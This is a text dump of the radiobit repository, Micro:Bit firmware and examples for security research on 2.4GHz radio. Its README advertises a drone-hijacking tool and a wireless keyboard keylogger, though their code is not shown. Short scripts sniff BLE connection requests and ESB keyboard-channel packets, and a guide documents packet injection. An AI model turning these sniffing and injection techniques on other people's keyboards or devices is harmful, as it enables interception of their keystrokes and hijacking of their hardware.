Repository: virtualabs/radiobit Branch: master Commit: f1578e003a34 Files: 364 Total size: 3.5 MB Directory structure: gitextract_ckfa0abd/ ├── .gitignore ├── README.md ├── doc/ │ └── README.md ├── examples/ │ ├── ble-advertiser/ │ │ ├── advertise.py │ │ └── sniffer.py │ ├── ble-conn-sniffing/ │ │ └── sniff_conn.py │ ├── esb-sample-sniff.py/ │ │ └── wireless-keyboard-sniff.py │ └── helloworld/ │ └── helloworld.py ├── micropython/ │ ├── .gitignore │ ├── AUTHORS │ ├── LICENSE │ ├── Makefile │ ├── README.md │ ├── config.json │ ├── docs/ │ │ ├── Makefile │ │ ├── accelerometer.rst │ │ ├── audio.rst │ │ ├── ble.rst │ │ ├── button.rst │ │ ├── compass.rst │ │ ├── conf.py │ │ ├── devguide/ │ │ │ ├── contributing.rst │ │ │ ├── devfaq.rst │ │ │ ├── flashfirmware.rst │ │ │ ├── hexformat.rst │ │ │ ├── installation.rst │ │ │ └── repl.rst │ │ ├── display.rst │ │ ├── filesystem.rst │ │ ├── i2c.rst │ │ ├── image.rst │ │ ├── index.rst │ │ ├── machine.rst │ │ ├── make.bat │ │ ├── microbit.rst │ │ ├── microbit_micropython_api.rst │ │ ├── micropython.rst │ │ ├── music.rst │ │ ├── neopixel.rst │ │ ├── os.rst │ │ ├── pin.rst │ │ ├── radio.rst │ │ ├── random.rst │ │ ├── speech.rst │ │ ├── spi.rst │ │ ├── tutorials/ │ │ │ ├── buttons.rst │ │ │ ├── direction.rst │ │ │ ├── gestures.rst │ │ │ ├── hello.rst │ │ │ ├── images.rst │ │ │ ├── introduction.rst │ │ │ ├── io.rst │ │ │ ├── movement.rst │ │ │ ├── music.rst │ │ │ ├── network.rst │ │ │ ├── next.rst │ │ │ ├── radio.rst │ │ │ ├── random.rst │ │ │ ├── speech.rst │ │ │ └── storage.rst │ │ ├── uart.rst │ │ └── utime.rst │ ├── examples/ │ │ ├── analog_watch.py │ │ ├── asmleds.py │ │ ├── bubble_level_2d.py │ │ ├── compass.py │ │ ├── conway.py │ │ ├── counter.py │ │ ├── digital_water.py │ │ ├── dodge_game.py │ │ ├── flame_simulation.py │ │ ├── flappybit.py │ │ ├── four_buttons.py │ │ ├── i_feel_today.py │ │ ├── led_dance.py │ │ ├── magic8.py │ │ ├── maze.py │ │ ├── music.py │ │ ├── neopixel_random.py │ │ ├── play_file.py │ │ ├── pomodoro.py │ │ ├── radio.py │ │ ├── reverb.py │ │ ├── simple_slalom.py │ │ ├── speech.py │ │ ├── tiltmusic.py │ │ ├── watch.py │ │ └── waveforms.py │ ├── inc/ │ │ ├── extmod/ │ │ │ ├── machine_mem.h │ │ │ ├── machine_pulse.h │ │ │ └── utime_mphal.h │ │ ├── genhdr/ │ │ │ ├── mpversion.h │ │ │ └── qstrdefs.generated.h │ │ ├── lib/ │ │ │ ├── iters.h │ │ │ ├── mp-readline/ │ │ │ │ └── readline.h │ │ │ ├── pwm.h │ │ │ ├── ticker.h │ │ │ └── utils/ │ │ │ ├── interrupt_char.h │ │ │ └── pyexec.h │ │ ├── microbit/ │ │ │ ├── MicroBitCustomConfig.h │ │ │ ├── filesystem.h │ │ │ ├── memory.h │ │ │ ├── microbit_image.h │ │ │ ├── microbitdal.h │ │ │ ├── modaudio.h │ │ │ ├── modmicrobit.h │ │ │ ├── modmusic.h │ │ │ ├── mpconfigport.h │ │ │ ├── mphalport.h │ │ │ └── qstrdefsport.h │ │ └── py/ │ │ ├── asmarm.h │ │ ├── asmbase.h │ │ ├── asmthumb.h │ │ ├── asmx64.h │ │ ├── asmx86.h │ │ ├── asmxtensa.h │ │ ├── bc.h │ │ ├── bc0.h │ │ ├── binary.h │ │ ├── builtin.h │ │ ├── compile.h │ │ ├── emit.h │ │ ├── emitglue.h │ │ ├── formatfloat.h │ │ ├── frozenmod.h │ │ ├── gc.h │ │ ├── grammar.h │ │ ├── lexer.h │ │ ├── misc.h │ │ ├── mpconfig.h │ │ ├── mperrno.h │ │ ├── mphal.h │ │ ├── mpprint.h │ │ ├── mpstate.h │ │ ├── mpthread.h │ │ ├── mpz.h │ │ ├── nlr.h │ │ ├── obj.h │ │ ├── objarray.h │ │ ├── objexcept.h │ │ ├── objfun.h │ │ ├── objgenerator.h │ │ ├── objint.h │ │ ├── objlist.h │ │ ├── objmodule.h │ │ ├── objstr.h │ │ ├── objstringio.h │ │ ├── objtuple.h │ │ ├── objtype.h │ │ ├── parse.h │ │ ├── parse2.h │ │ ├── parsenum.h │ │ ├── parsenumbase.h │ │ ├── persistentcode.h │ │ ├── qstr.h │ │ ├── qstrdefs.h │ │ ├── reader.h │ │ ├── repl.h │ │ ├── ringbuf.h │ │ ├── runtime.h │ │ ├── runtime0.h │ │ ├── scope.h │ │ ├── smallint.h │ │ ├── stackctrl.h │ │ ├── stream.h │ │ ├── unicode.h │ │ └── vmentrytable.h │ ├── module.json │ ├── source/ │ │ ├── extmod/ │ │ │ ├── machine_mem.c │ │ │ ├── machine_pulse.c │ │ │ └── utime_mphal.c │ │ ├── lib/ │ │ │ ├── iters.c │ │ │ ├── mp-readline/ │ │ │ │ └── readline.c │ │ │ ├── neopixelsend.s │ │ │ ├── pwm.c │ │ │ ├── sam/ │ │ │ │ ├── ReciterTabs.h │ │ │ │ ├── RenderTabs.h │ │ │ │ ├── SamTabs.h │ │ │ │ ├── debug.c │ │ │ │ ├── debug.h │ │ │ │ ├── main.c │ │ │ │ ├── reciter.c │ │ │ │ ├── reciter.h │ │ │ │ ├── render.c │ │ │ │ ├── render.h │ │ │ │ ├── sam.c │ │ │ │ └── sam.h │ │ │ ├── ticker.c │ │ │ └── utils/ │ │ │ ├── interrupt_char.c │ │ │ └── pyexec.c │ │ ├── microbit/ │ │ │ ├── display_readme.md │ │ │ ├── events.cpp │ │ │ ├── fileobj.c │ │ │ ├── filesystem.c │ │ │ ├── gccollect.c │ │ │ ├── help.c │ │ │ ├── main.cpp │ │ │ ├── microbitaccelerometer.cpp │ │ │ ├── microbitbutton.cpp │ │ │ ├── microbitcompass.cpp │ │ │ ├── microbitconstimage.cpp │ │ │ ├── microbitconstimagetuples.c │ │ │ ├── microbitdisplay.cpp │ │ │ ├── microbiti2c.cpp │ │ │ ├── microbitimage.cpp │ │ │ ├── microbitpin.cpp │ │ │ ├── microbitpinmode.c │ │ │ ├── microbitspi.cpp │ │ │ ├── microbituart.cpp │ │ │ ├── modantigravity.cpp │ │ │ ├── modaudio.cpp │ │ │ ├── modlove.cpp │ │ │ ├── modmachine.c │ │ │ ├── modmicrobit.cpp │ │ │ ├── modmusic.cpp │ │ │ ├── modmusictunes.c │ │ │ ├── modneopixel.cpp │ │ │ ├── modos.c │ │ │ ├── modradio.cpp │ │ │ ├── modrandom.cpp │ │ │ ├── modspeech.c │ │ │ ├── modthis.cpp │ │ │ ├── modutime.c │ │ │ ├── mphalport.cpp │ │ │ └── persistent.c │ │ └── py/ │ │ ├── argcheck.c │ │ ├── asmarm.c │ │ ├── asmbase.c │ │ ├── asmthumb.c │ │ ├── asmx64.c │ │ ├── asmx86.c │ │ ├── asmxtensa.c │ │ ├── bc.c │ │ ├── binary.c │ │ ├── builtinevex.c │ │ ├── builtinhelp.c │ │ ├── builtinimport.c │ │ ├── compile.c │ │ ├── compile2.c │ │ ├── emitbc.c │ │ ├── emitcommon.c │ │ ├── emitglue.c │ │ ├── emitinlinethumb.c │ │ ├── emitinlinextensa.c │ │ ├── emitnative.c │ │ ├── formatfloat.c │ │ ├── frozenmod.c │ │ ├── gc.c │ │ ├── lexer.c │ │ ├── makeqstrdata.py │ │ ├── makeqstrdefs.py │ │ ├── makeversionhdr.py │ │ ├── malloc.c │ │ ├── map.c │ │ ├── modarray.c │ │ ├── modbuiltins.c │ │ ├── modcmath.c │ │ ├── modcollections.c │ │ ├── modgc.c │ │ ├── modio.c │ │ ├── modmath.c │ │ ├── modmicropython.c │ │ ├── modstruct.c │ │ ├── modsys.c │ │ ├── modthread.c │ │ ├── moduerrno.c │ │ ├── mpprint.c │ │ ├── mpstate.c │ │ ├── mpz.c │ │ ├── nativeglue.c │ │ ├── nlrsetjmp.c │ │ ├── nlrthumb.c │ │ ├── nlrx64.c │ │ ├── nlrx86.c │ │ ├── nlrxtensa.c │ │ ├── obj.c │ │ ├── objarray.c │ │ ├── objattrtuple.c │ │ ├── objbool.c │ │ ├── objboundmeth.c │ │ ├── objcell.c │ │ ├── objclosure.c │ │ ├── objcomplex.c │ │ ├── objdict.c │ │ ├── objenumerate.c │ │ ├── objexcept.c │ │ ├── objfilter.c │ │ ├── objfloat.c │ │ ├── objfun.c │ │ ├── objgenerator.c │ │ ├── objgetitemiter.c │ │ ├── objint.c │ │ ├── objint_longlong.c │ │ ├── objint_mpz.c │ │ ├── objlist.c │ │ ├── objmap.c │ │ ├── objmodule.c │ │ ├── objnamedtuple.c │ │ ├── objnone.c │ │ ├── objobject.c │ │ ├── objpolyiter.c │ │ ├── objproperty.c │ │ ├── objrange.c │ │ ├── objreversed.c │ │ ├── objset.c │ │ ├── objsingleton.c │ │ ├── objslice.c │ │ ├── objstr.c │ │ ├── objstringio.c │ │ ├── objstrunicode.c │ │ ├── objtuple.c │ │ ├── objtype.c │ │ ├── objzip.c │ │ ├── opmethods.c │ │ ├── parse.c │ │ ├── parse2.c │ │ ├── parsenum.c │ │ ├── parsenumbase.c │ │ ├── persistentcode.c │ │ ├── qstr.c │ │ ├── reader.c │ │ ├── repl.c │ │ ├── runtime.c │ │ ├── runtime_utils.c │ │ ├── scheduler.c │ │ ├── scope.c │ │ ├── sequence.c │ │ ├── showbc.c │ │ ├── smallint.c │ │ ├── stackctrl.c │ │ ├── stream.c │ │ ├── unicode.c │ │ ├── vm.c │ │ ├── vstr.c │ │ └── warning.c │ ├── tests/ │ │ ├── README.md │ │ ├── exercise.py │ │ ├── radio_audio.py │ │ ├── sample.raw │ │ ├── test_files.py │ │ ├── test_files2.py │ │ ├── test_files3.py │ │ ├── test_image.py │ │ ├── test_music.py │ │ ├── test_pins.py │ │ ├── test_pwm.py │ │ ├── test_random.py │ │ └── test_speech.py │ └── tools/ │ ├── adduicr.py │ ├── hexlifyscript.js │ ├── hexlifyscript.py │ ├── makecombinedhex.py │ ├── makeqstrhdr.sh │ ├── makeversionhdr.py │ ├── pyboard.py │ └── upload.py ├── precompiled/ │ └── radiobit.hex └── tools/ ├── cheerson-cx10/ │ ├── README.md │ └── cxp0wn.py ├── ubit-sniffer/ │ ├── README.md │ ├── middleware/ │ │ └── ubit-sniffer-mw.py │ └── ubit-sniffer.py └── wireless-keylogger/ ├── README.md └── msft-keylogger.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # ignore Micropython build firmware micropython/build/ # ignore Micropython yotta_modules micropython/yotta_modules/ # ignore Micropython yotta_targets micropython/yotta_targets/ micropython/.yotta* # ignore compiled Python modules *.pyc # ignore our virtualenv venv ================================================ FILE: README.md ================================================ Radiobit, a BBC Micro:Bit RF firmware ===================================== Introduction ------------ Radiobit is composed of a dedicated Micropython-based firmware and a set of tools allowing security researchers to: * sniff, receive and send data over Nordic's Enhanced ShockBurst protocol (ESB) * sniff, receive and send data over Nordic' ShockBurst protocol (SB) * sniff, receive and send data over Bluetooth Smart Link Layer * sniff raw 2.4GHz GFSK demodulated data Using Radiobit tools and examples --------------------------------- Radiobit provides the following tools: * **ubit-sniffer**: a ESB/SB/BLE/raw sniffer able to collect data and display them. * **cheerson-cx10**: the firmware corresponding to the hack described in my DefCon25 presentation, used to hijack a Cheerson CX-10 quadcopter in flight. * **wireless-keylogger**: Microsoft wireless keyboard sniffer firmware, as shown at DefCon25 See the corresponding README.md files for each tool of the *tools* directory. Radiobit also provides many examples of what can be achieved with its firmware: * A BLE advertiser and its associated sniffer * A BLE connection request packet sniffer * An ESB basic sniffer running on the Micro:Bit **A precompiled version of the Radiobit firmware is provided in the *precompiled* directory, as a convenience.** If you want to try Radiobit's custom radio Python module, read the [specific documentation](doc/README.md). How to program the Micro:Bit with some Python code -------------------------------------------------- Use *uflash* to program your Micro:Bit: 1. Plug your Micro:Bit to your computer with a USB cable, it will be recognised as a mass storage device 2. Mount it 3. Use uflash to merge the firmware with your main Python3 program and flash the device ``` $ uflash -r precompiled/radiobit.hex yourprogramhere.py ``` *Uflash* will program your Micro:Bit and reset it once it's done ! Recompiling the firmware ------------------------ If you want to modify the Radiobit firmware, you must follow the procedure below. This procedure has been tested on Debian, but should work on Ubuntu as well. ### How to setup the environment First, install all the required packages (Debian): ``` $ sudo apt-get install cmake ninja-build gcc-arm-none-eabi srecord libssl-dev ``` Create a virtual environment with *virtualenv* for Python 3.x: ``` $ virtualenv venv ``` This will create a Python3.x virtual environment in a dedicated folder named *venv*. You then need to activate this environment in order to install all the required tools with pip3. ``` $ source venv/bin/activate ``` Use pip to install **yotta** in our newly created virtual environment: ``` (venv)$ pip install yotta ``` Finally, use **yotta** to setup the build environment: ``` (venv)$ cd micropython (venv)$ yt target bbc-microbit-classic-gcc-nosd (venv)$ yt up ``` ### How to build the firmware You can now uild the modified micropython firmware. Make sure you are in the *micropython* directory: ``` (venv)$ yt build ``` This may produce a lot of warnings (who said python developers produce clean code ?) but at last a valid binary (in Ihex format). Your compiled firmware should be located in the *build/bbc-microbit-classic-gcc-nosd/source* directory, named *microbit-micropython.hex*. ### How to flash a Micro:Bit with this new firmware Micropython should not be used alone (as a REPL), but combined with a Python script merged into the firmware. This is a usual way to *program* a Micro:Bit using CLI rather than online services. First, you need to install **uflash** in your virtual environment: ``` (venv)$ pip install uflash ``` You then can use **uflash** to flash your Micro:Bit using the following command: ``` (venv)$ uflash -r build/bbc-microbit-classic-gcc-nosd/source/microbit-micropython.hex ../examples/helloworld/helloworld.py ``` Obviously, you must have your Micro:Bit connected to your host machine when launching the previous command, or *uflash* will complain. ================================================ FILE: doc/README.md ================================================ How to use Radiobit's radio module ? ==================================== Radiobit's *radio* module exposes multiple methods allowing sniffing, receiving and injecting ESB/SB/BLE packets. Sniffing ESB/SB packets ----------------------- If you want to sniff Enhanced ShockBurst packets, you need to enable the radio and activate the sniffing mode, as shown below: ``` python import radio radio.on() radio.sniff_on() ``` You may then want to loop over each sniffed packets: ``` python while True: pkt = radio.sniff() if pkt is not None: # do something with the pkt ``` The sniffing algorithm tries by default to find ESB packets rather than SB packets, but you may use raw sniffing to get them: ``` python import radio radio.on() radio.config(raw=1, length=40, channel=80) radio.sniff_on() while True: pkt = radio.sniff() if pkt is not None: # pkt should be either ESB or SB, as no CRC check is made # you have to sort it out and find your SB packets :S ``` This raw sniffing feature may also be used to investigate unknown protocols, as it operates as a simple GFSK demodulator using a specific data rate. Receiving ESB packets --------------------- In order to receive ESB packets, you need to tune the transceiver to a specific channel and set a 5-byte address as shown below: ``` python import radio radio.on() # Listen on channel 80 for address 0x1122334455 radio.config(channel=80, address=0x11223344, group=0x55) radio.esb() ``` The received packets can then be processed: ``` python pkt = radio.receive_bytes() if pkt is not None: # process packet ``` Sending ESB packets --------------------- You may also want to send packets: ``` python radio.send_bytes(b'Trolololo') ``` Receiving SB packets -------------------- In order to receive Legacy SB packets, you need to tune the transceiver to a specific channel and set a 5-byte address as shown below: ``` python import radio radio.on() # Listen on channel 80 for address 0x1122334455, packet size of 10 bytes radio.config(channel=80, address=0x11223344, group=0x55, length=10) radio.sb() ``` Note the packet size is mandatory when using ShockBurst (SB) procotol, as the packet format contains no length field. By default, the length used is 32. The received packets can then be processed the usual way, by calling *radio.receive_bytes()*: ``` python pkt = radio.receive_bytes() if pkt is not None: # process packet ``` ================================================ FILE: examples/ble-advertiser/advertise.py ================================================ """ BLE advertising example This example uses a little hack to send BLE scan responses in time: it sends it straight forward even if not required. """ from microbit import * import radio adv_pkt = bytes([0x40, 0x42, 0xd8, 0x2a, 0x41, 0x32, 0x65,0x02, 0x01, 0x1a, 0x09, 0x09])+b'DEFCON25' scan_rsp = bytes([0x44, 0x42, 0xd8, 0x2a, 0x41, 0x32, 0x65, 0x03, 0xff,0x12,0x13]) radio.on() radio.config(channel=38) radio.ble() while True: for i in range(37,40): radio.config(channel=i) radio.send(adv_pkt) radio.send(scan_rsp) sleep(50) ================================================ FILE: examples/ble-advertiser/sniffer.py ================================================ from microbit import * import radio radio.on() radio.config(channel=38) radio.ble() while True: pkt = radio.receive_bytes() if pkt is not None: if len(pkt) > 13: addr = '%02x:%02x:%02x:%02x:%02x:%02x' % ( pkt[13], pkt[12], pkt[11], pkt[10], pkt[9], pkt[8] ) advinfo = ' '.join(['%02x'%c for c in pkt[14:]]) print('+ %s > %s' % (addr, advinfo)) del advinfo del addr del pkt ================================================ FILE: examples/ble-conn-sniffing/sniff_conn.py ================================================ """ This script simply loops on advertising channels and sniffs BLE connection requests. """ import radio from microbit import * radio.on() radio.ble() timeout = 50 last = running_time() chan = 0 while True: if (running_time() - last) >= timeout: chan = (chan+1)%3 radio.config(channel=(chan+37)) last = running_time() p = radio.receive() if p is not None and p[5]&0x0F == 5 and p[6]==0x22: #print(' '.join(['%02x'%c for c in p])) payload = p[8:] pl = ' '.join(['%02x' % c for c in payload]) print(pl) # parse connect_req inita = ':'.join(['%02x'%c for c in payload[:6]]) adva = ':'.join(['%02x'%c for c in payload[6:12]]) aa = payload[12] | payload[13]<<8 | payload[14]<<16 |payload[15]<<24 crcinit = (payload[16])|(payload[17]<<8)|(payload[18]<<16) hop_increment = (payload[33]&0x1f) hop_interval = payload[22] | payload[23]<<8 print('[%08x] %s -> %s (CRCInit: %06x, hopInc: %d, hopInter: %d)' % (aa, inita, adva, crcinit, hop_increment, hop_interval)) ================================================ FILE: examples/esb-sample-sniff.py/wireless-keyboard-sniff.py ================================================ """ Quick'n'dirty ESB sniffer listening on channel 74 at 2MBit/s """ import radio radio.on() radio.config(data_rate=radio.RATE_2MBIT, channel=74) radio.sniff_on() while True: pkt = radio.sniff() if pkt is not None: addr = ':'.join(['%2x'%c for c in pkt[:5]]) payload = ''.join(['%02x '%c for c in pkt[5:]]) print('%s > %s' % (addr, payload)) ================================================ FILE: examples/helloworld/helloworld.py ================================================ import microbit microbit.display.scroll('Hello world !') ================================================ FILE: micropython/.gitignore ================================================ .yotta.json build/* yotta_modules/* yotta_targets/* *.swp __pycache__ # This file is generated by the build process inc/genhdr/microbitversion.h ================================================ FILE: micropython/AUTHORS ================================================ Damien P. George (@dpgeorge) Nicholas H. Tollervey (@ntoll) Matthew Else (@matthewelse) Alan M. Jackson (@alanmjackson) Mark Shannon (@markshannon) Larry Hastings (@larryhastings) Mariia Koroliuk (@marichkakorolyuk) Andrew Mulholland (@gbaman) Joe Glancy (@JoeGlancy) ================================================ FILE: micropython/LICENSE ================================================ The MIT License (MIT) Copyright (c) 2013-2016 The MicroPython-on-micro:bit Developers, as listed in the accompanying AUTHORS file Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: micropython/Makefile ================================================ ECHO = @echo HEX_SRC = build/bbc-microbit-classic-gcc-nosd/source/microbit-micropython.hex HEX_FINAL = build/firmware.hex MBIT_VER_FILE = inc/genhdr/microbitversion.h VER_ADDR_FILE = build/veraddr.txt all: $(HEX_FINAL) # Anything that depends on FORCE will be considered out-of-date FORCE: .PHONY: FORCE $(HEX_FINAL): yotta $(VER_ADDR_FILE) tools/adduicr.py $(HEX_SRC) $$(cat $(VER_ADDR_FILE)) -o $(HEX_FINAL) @size $(HEX_SRC:.hex=) yotta: $(MBIT_VER_FILE) @yt build $(MBIT_VER_FILE): FORCE python tools/makeversionhdr.py $(MBIT_VER_FILE) $(VER_ADDR_FILE): yotta @echo -n "0x" > $(VER_ADDR_FILE) @objdump -x $(HEX_SRC:.hex=) | grep microbit_version_string | cut -f 1 -d' ' >> $(VER_ADDR_FILE) deploy: $(HEX_FINAL) $(ECHO) "Deploying $<" @mount /dev/sdb @sleep 1s @cp $< /mnt/ @sleep 1s @umount /mnt serial: @picocom /dev/ttyACM0 -b 115200 ================================================ FILE: micropython/README.md ================================================ MicroPython for the BBC micro:bit ================================= This is the source code for MicroPython running on the BBC micro:bit! To get involved with the micro:bit community join the Slack channel by signing up here: https://tech.microbit.org/get-involved/where-to-find/ Various things are in this repository, including: - Source code in source/ and inc/ directories. - Example Python programs in the examples/ directory. - Tools in the tools/ directory. The source code is a yotta application and needs yotta to build, along with an ARM compiler toolchain (eg arm-none-eabi-gcc and friends). Ubuntu users can install the needed packages using: ``` sudo add-apt-repository -y ppa:team-gcc-arm-embedded sudo add-apt-repository -y ppa:pmiller-opensource/ppa sudo apt-get update sudo apt-get install cmake ninja-build gcc-arm-none-eabi srecord libssl-dev pip3 install yotta ``` Once all packages are installed, use yotta and the provided Makefile to build. You might need need an Arm Mbed account to complete some of the yotta commands, if so, you could be prompted to create one as a part of the process. - Use target bbc-microbit-classic-gcc-nosd: ``` yt target bbc-microbit-classic-gcc-nosd ``` - Run yotta update to fetch remote assets: ``` yt up ``` - Start the build: ``` make all ``` The resulting firmware.hex file to flash onto the device can be found in the build/ directory from the root of the repository. The Makefile provided does some extra preprocessing of the source, adds version information to the UICR region, puts the resulting firmware at build/firmware.hex, and includes some convenience targets. How to use ========== Upon reset you will have a REPL on the USB CDC serial port, with baudrate 115200 (eg picocom /dev/ttyACM0 -b 115200). Then try: >>> import microbit >>> microbit.display.scroll('hello!') >>> microbit.button_a.is_pressed() >>> dir(microbit) Tab completion works and is very useful! Read our documentation here: https://microbit-micropython.readthedocs.io/en/latest/ You can also use the tools/pyboard.py script to run Python scripts directly from your PC, eg: $ ./tools/pyboard.py /dev/ttyACM0 examples/conway.py Be brave! Break things! Learn and have fun! ================================================ FILE: micropython/config.json ================================================ { "microbit" : { "configfile" : "inc/microbit/MicroBitCustomConfig.h" } } ================================================ FILE: micropython/docs/Makefile ================================================ # Makefile for Sphinx documentation # # You can set these variables from the command line. SPHINXOPTS = SPHINXBUILD = sphinx-build PAPER = BUILDDIR = _build # User-friendly check for sphinx-build ifeq ($(shell which $(SPHINXBUILD) >/dev/null 2>&1; echo $$?), 1) $(error The '$(SPHINXBUILD)' command was not found. Make sure you have Sphinx installed, then set the SPHINXBUILD environment variable to point to the full path of the '$(SPHINXBUILD)' executable. Alternatively you can add the directory with the executable to your PATH. If you don't have Sphinx installed, grab it from http://sphinx-doc.org/) endif # Internal variables. PAPEROPT_a4 = -D latex_paper_size=a4 PAPEROPT_letter = -D latex_paper_size=letter ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . # the i18n builder cannot share the environment and doctrees with the others I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . .PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext help: @echo "Please use \`make ' where is one of" @echo " html to make standalone HTML files" @echo " dirhtml to make HTML files named index.html in directories" @echo " singlehtml to make a single large HTML file" @echo " pickle to make pickle files" @echo " json to make JSON files" @echo " htmlhelp to make HTML files and a HTML help project" @echo " qthelp to make HTML files and a qthelp project" @echo " devhelp to make HTML files and a Devhelp project" @echo " epub to make an epub" @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" @echo " latexpdf to make LaTeX files and run them through pdflatex" @echo " latexpdfja to make LaTeX files and run them through platex/dvipdfmx" @echo " text to make text files" @echo " man to make manual pages" @echo " texinfo to make Texinfo files" @echo " info to make Texinfo files and run them through makeinfo" @echo " gettext to make PO message catalogs" @echo " changes to make an overview of all changed/added/deprecated items" @echo " xml to make Docutils-native XML files" @echo " pseudoxml to make pseudoxml-XML files for display purposes" @echo " linkcheck to check all external links for integrity" @echo " doctest to run all doctests embedded in the documentation (if enabled)" clean: rm -rf $(BUILDDIR)/* html: $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html @echo @echo "Build finished. The HTML pages are in $(BUILDDIR)/html." dirhtml: $(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml @echo @echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml." singlehtml: $(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml @echo @echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml." pickle: $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle @echo @echo "Build finished; now you can process the pickle files." json: $(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json @echo @echo "Build finished; now you can process the JSON files." htmlhelp: $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp @echo @echo "Build finished; now you can run HTML Help Workshop with the" \ ".hhp project file in $(BUILDDIR)/htmlhelp." qthelp: $(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp @echo @echo "Build finished; now you can run "qcollectiongenerator" with the" \ ".qhcp project file in $(BUILDDIR)/qthelp, like this:" @echo "# qcollectiongenerator $(BUILDDIR)/qthelp/BBCMicrobitMicropython.qhcp" @echo "To view the help file:" @echo "# assistant -collectionFile $(BUILDDIR)/qthelp/BBCMicrobitMicropython.qhc" devhelp: $(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp @echo @echo "Build finished." @echo "To view the help file:" @echo "# mkdir -p $$HOME/.local/share/devhelp/BBCMicrobitMicropython" @echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/BBCMicrobitMicropython" @echo "# devhelp" epub: $(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub @echo @echo "Build finished. The epub file is in $(BUILDDIR)/epub." latex: $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex @echo @echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex." @echo "Run \`make' in that directory to run these through (pdf)latex" \ "(use \`make latexpdf' here to do that automatically)." latexpdf: $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex @echo "Running LaTeX files through pdflatex..." $(MAKE) -C $(BUILDDIR)/latex all-pdf @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." latexpdfja: $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex @echo "Running LaTeX files through platex and dvipdfmx..." $(MAKE) -C $(BUILDDIR)/latex all-pdf-ja @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." text: $(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text @echo @echo "Build finished. The text files are in $(BUILDDIR)/text." man: $(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man @echo @echo "Build finished. The manual pages are in $(BUILDDIR)/man." texinfo: $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo @echo @echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo." @echo "Run \`make' in that directory to run these through makeinfo" \ "(use \`make info' here to do that automatically)." info: $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo @echo "Running Texinfo files through makeinfo..." make -C $(BUILDDIR)/texinfo info @echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo." gettext: $(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale @echo @echo "Build finished. The message catalogs are in $(BUILDDIR)/locale." changes: $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes @echo @echo "The overview file is in $(BUILDDIR)/changes." linkcheck: $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck @echo @echo "Link check complete; look for any errors in the above output " \ "or in $(BUILDDIR)/linkcheck/output.txt." doctest: $(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest @echo "Testing of doctests in the sources finished, look at the " \ "results in $(BUILDDIR)/doctest/output.txt." xml: $(SPHINXBUILD) -b xml $(ALLSPHINXOPTS) $(BUILDDIR)/xml @echo @echo "Build finished. The XML files are in $(BUILDDIR)/xml." pseudoxml: $(SPHINXBUILD) -b pseudoxml $(ALLSPHINXOPTS) $(BUILDDIR)/pseudoxml @echo @echo "Build finished. The pseudo-XML files are in $(BUILDDIR)/pseudoxml." ================================================ FILE: micropython/docs/accelerometer.rst ================================================ Accelerometer ************* .. py:module:: microbit.accelerometer This object gives you access to the on-board accelerometer. The accelerometer also provides convenience functions for detecting gestures. The recognised gestures are: ``up``, ``down``, ``left``, ``right``, ``face up``, ``face down``, ``freefall``, ``3g``, ``6g``, ``8g``, ``shake``. By default MicroPython sets the accelerometer range to +/- 2g, changing the accelerometer range is currently not possible in MicroPython. The accelerometer returns a value in the range 0..1024 for each axis, which is then scaled accordingly. 